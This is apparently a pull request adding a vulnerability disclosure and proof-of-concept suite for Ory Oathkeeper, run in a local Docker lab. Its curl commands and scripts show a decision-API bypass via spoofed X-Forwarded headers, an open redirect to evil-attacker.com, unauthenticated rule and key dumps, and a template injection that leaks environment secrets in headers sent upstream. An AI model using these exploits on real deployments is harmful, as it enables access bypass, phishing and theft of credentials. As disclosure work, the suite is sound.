Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
895 changes: 895 additions & 0 deletions SECURITY_VULNERABILITY_REPORT.md

Large diffs are not rendered by default.

127 changes: 127 additions & 0 deletions poc/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,127 @@
# Ory Oathkeeper Vulnerability PoC Suite

## Prerequisites

- Docker + docker-compose
- curl
- python3 or jq (for JSON parsing)
- Ports 4455 and 4456 available

## Quick Start

### Test Vulns #1, #4, #6, #7 (Auth Bypass, Open Redirect, Info Disclosure, Scheme Spoofing)

```bash
cd poc/
docker-compose up -d
sleep 5
bash run_all_poc.sh
docker-compose down
```

### Test Vuln #2 (SSTI / Environment Variable Leakage)

```bash
cd poc/
docker-compose -f docker-compose-ssti.yml up -d
sleep 5
bash poc_ssti.sh
docker-compose -f docker-compose-ssti.yml down
```

## Manual Reproduction Commands

### Vuln #1: Decision API Auth Bypass

```bash
# Baseline: admin path should be denied
curl -v http://127.0.0.1:4456/decisions/admin/dashboard
# Expected: 403 Forbidden

# Attack: spoof headers to match the allowed /public/* rule instead
curl -v \
-H "X-Forwarded-Method: GET" \
-H "X-Forwarded-Host: 127.0.0.1:4455" \
-H "X-Forwarded-Uri: /public/anything" \
-H "X-Forwarded-Proto: http" \
http://127.0.0.1:4456/decisions/admin/dashboard
# Expected: 200 OK (BYPASSED — matched /public/* rule)
```

### Vuln #2: SSTI Environment Variable Leak

Use `docker-compose-ssti.yml` which loads `rules_ssti.json`.

```bash
# This rule has: "X-Env-Leaked": "{{ env \"SECRET_ENV_VAR\" }}"
# httpbin.org echoes back all received headers
curl -s http://127.0.0.1:4455/ssti/test | python3 -m json.tool

# Look for headers like:
# "X-Env-Leaked": "SuperSecretDatabasePassword123"
# "X-Db-Leaked": "postgres://admin:s3cret@internal-db:5432/prod"
```

### Vuln #4: Open Redirect

```bash
# Normal denied request with redirect
curl -v -H "Accept: text/html" http://127.0.0.1:4455/admin/dashboard
# Expected: 302 -> https://login.example.com/auth?return_to=http%3A%2F%2F127.0.0.1...

# Attack: inject attacker domain into return_to
curl -v \
-H "Accept: text/html" \
-H "X-Forwarded-Host: evil-attacker.com" \
-H "X-Forwarded-Proto: https" \
-H "X-Forwarded-Uri: /steal-creds" \
http://127.0.0.1:4455/admin/dashboard
# Expected: 302 -> https://login.example.com/auth?return_to=https%3A%2F%2Fevil-attacker.com%2Fsteal-creds
```

### Vuln #6: Unauthenticated Rule Disclosure

```bash
# Dump ALL rules — no auth needed
curl -s http://127.0.0.1:4456/rules | python3 -m json.tool

# Get JWKS keys — no auth needed
curl -s http://127.0.0.1:4456/.well-known/jwks.json | python3 -m json.tool
```

### Vuln #7: Scheme Spoofing

```bash
# Normal (http scheme, matches http:// rules)
curl -v http://127.0.0.1:4455/public/test

# Spoofed (forces https scheme — may not match http:// only rules)
curl -v -H "X-Forwarded-Proto: https" http://127.0.0.1:4455/public/test
```

## Capturing Evidence

1. Run the PoC scripts and redirect output to a file:
```bash
bash run_all_poc.sh 2>&1 | tee evidence_main.txt
bash poc_ssti.sh 2>&1 | tee evidence_ssti.txt
```

2. Take screenshots of the terminal output

3. For Burp Suite evidence:
- Set Burp as proxy: `export http_proxy=http://127.0.0.1:8080`
- Re-run the curl commands
- Export the Burp project as evidence

## Files

| File | Purpose |
|------|---------|
| `docker-compose.yml` | Main test environment |
| `docker-compose-ssti.yml` | SSTI-specific test environment |
| `config.yaml` | Oathkeeper configuration |
| `rules.json` | Access rules for main PoCs |
| `rules_ssti.json` | Rules with malicious Sprig templates |
| `run_all_poc.sh` | Automated PoC runner (vulns 1,4,6,7) |
| `poc_ssti.sh` | SSTI-specific PoC runner (vuln 2) |
50 changes: 50 additions & 0 deletions poc/config.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
serve:
proxy:
port: 4455
api:
port: 4456

access_rules:
repositories:
- file:///etc/config/oathkeeper/rules.json

errors:
fallback:
- json
handlers:
json:
enabled: true
config:
verbose: true
redirect:
enabled: true
config:
to: https://login.example.com/auth
code: 302
return_to_query_param: return_to

mutators:
header:
enabled: true
config:
headers:
X-User: "{{ print .Subject }}"
noop:
enabled: true
id_token:
enabled: true
config:
issuer_url: http://localhost:4455/
jwks_url: file:///etc/config/oathkeeper/jwks.json

authorizers:
allow:
enabled: true
deny:
enabled: true

authenticators:
anonymous:
enabled: true
config:
subject: guest
21 changes: 21 additions & 0 deletions poc/docker-compose-ssti.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
version: "3.7"

services:
oathkeeper:
image: oryd/oathkeeper:v0.40.8
ports:
- "4455:4455"
- "4456:4456"
command: serve --config=/etc/config/oathkeeper/config.yaml
environment:
- LOG_LEVEL=debug
# These simulate real secrets that will be leaked via SSTI
- SECRET_ENV_VAR=SuperSecretDatabasePassword123
- AWS_SECRET_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE_FAKE
- DATABASE_URL=postgres://admin:s3cret@internal-db:5432/prod
- API_KEY=sk-live-1234567890abcdef
volumes:
- ./config.yaml:/etc/config/oathkeeper/config.yaml:ro
- ./rules_ssti.json:/etc/config/oathkeeper/rules.json:ro
- ../.docker_compose/jwks.json:/etc/config/oathkeeper/jwks.json:ro
restart: on-failure
19 changes: 19 additions & 0 deletions poc/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
version: "3.7"

services:
oathkeeper:
image: oryd/oathkeeper:v0.40.8
ports:
- "4455:4455"
- "4456:4456"
command: serve --config=/etc/config/oathkeeper/config.yaml
environment:
- LOG_LEVEL=debug
- SECRET_ENV_VAR=SuperSecretDatabasePassword123
- AWS_SECRET_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE_FAKE
- DATABASE_URL=postgres://admin:s3cret@internal-db:5432/prod
volumes:
- ./config.yaml:/etc/config/oathkeeper/config.yaml:ro
- ./rules.json:/etc/config/oathkeeper/rules.json:ro
- ../.docker_compose/jwks.json:/etc/config/oathkeeper/jwks.json:ro
restart: on-failure
98 changes: 98 additions & 0 deletions poc/poc_ssti.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,98 @@
#!/usr/bin/env bash
#
# VULN #2 PoC: Server-Side Template Injection — Environment Variable Leakage
# ===========================================================================
#
# This PoC demonstrates that Go text/template with Sprig's `env` function
# allows leaking server environment variables through mutator header templates.
#
# SETUP (run this INSTEAD of the main docker-compose):
#
# cd poc/
# docker-compose -f docker-compose-ssti.yml up -d
# sleep 5
# bash poc_ssti.sh
# docker-compose -f docker-compose-ssti.yml down
#

set -euo pipefail

PROXY="http://127.0.0.1:4455"
API="http://127.0.0.1:4456"

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
BOLD='\033[1m'
NC='\033[0m'

echo -e "${BOLD}${YELLOW}VULN #2: Server-Side Template Injection via Sprig env()${NC}"
echo -e "${YELLOW}===========================================================${NC}"
echo ""
echo -e "File: ${CYAN}x/template.go:15-41${NC}"
echo -e "CWE: CWE-1336 (Improper Neutralization of Special Elements in Template)"
echo ""

# Check alive
if ! curl -sf "${API}/health/alive" > /dev/null 2>&1; then
echo -e "${RED}ERROR: Oathkeeper not running. Start with:${NC}"
echo " docker-compose -f docker-compose-ssti.yml up -d && sleep 5"
exit 1
fi

echo -e "${BOLD}Step 1: Verify the SSTI rule is loaded${NC}"
echo '$ curl -s '"${API}/rules/ssti-env-leak"' | python3 -m json.tool'
echo ""
curl -s "${API}/rules/ssti-env-leak" | python3 -m json.tool 2>/dev/null || \
curl -s "${API}/rules/ssti-env-leak"
echo ""

echo -e "${BOLD}Step 2: Send request through the proxy to trigger template rendering${NC}"
echo ""
echo "The rule has these header templates:"
echo ' X-Env-Leaked: {{ env "SECRET_ENV_VAR" }}'
echo ' X-DB-Leaked: {{ env "DATABASE_URL" }}'
echo ' X-AWS-Leaked: {{ env "AWS_SECRET_ACCESS_KEY" }}'
echo ' X-Home-Dir: {{ env "HOME" }}'
echo ""
echo "httpbin.org will echo back all headers it receives, including the injected ones."
echo ""
echo '$ curl -s '"${PROXY}/ssti/test"
echo ""

RESPONSE=$(curl -s "${PROXY}/ssti/test")
echo "$RESPONSE" | python3 -m json.tool 2>/dev/null || echo "$RESPONSE"
echo ""

echo -e "${BOLD}Step 3: Extract leaked environment variables from httpbin response${NC}"
echo ""
echo "$RESPONSE" | python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
headers = data.get('headers', {})
leaked = {k: v for k, v in headers.items()
if k.lower().startswith('x-') and k.lower() not in ('x-user', 'x-amzn-trace-id')}
if leaked:
print(' LEAKED ENVIRONMENT VARIABLES:')
for k, v in leaked.items():
print(f' {k}: {v}')
else:
print(' No custom headers found in response (httpbin may be down)')
except Exception as e:
print(f' Parse error: {e}')
" 2>/dev/null

echo ""
echo -e "${RED}[VULNERABLE] The Sprig env() function in templates leaks server env vars!${NC}"
echo ""
echo -e "${BOLD}Impact:${NC}"
echo " - Any rule author with config access can exfiltrate ALL env vars"
echo " - Database credentials, AWS keys, API secrets are exposed"
echo " - Values are sent to the upstream server in HTTP headers"
echo ""
echo -e "${BOLD}Root cause:${NC}"
echo " x/template.go:40 -> Funcs(sprig.TxtFuncMap())"
echo " Sprig includes: env, expandenv, getHostByName"
echo " These are server-side functions exposed to template authors"
Loading
Loading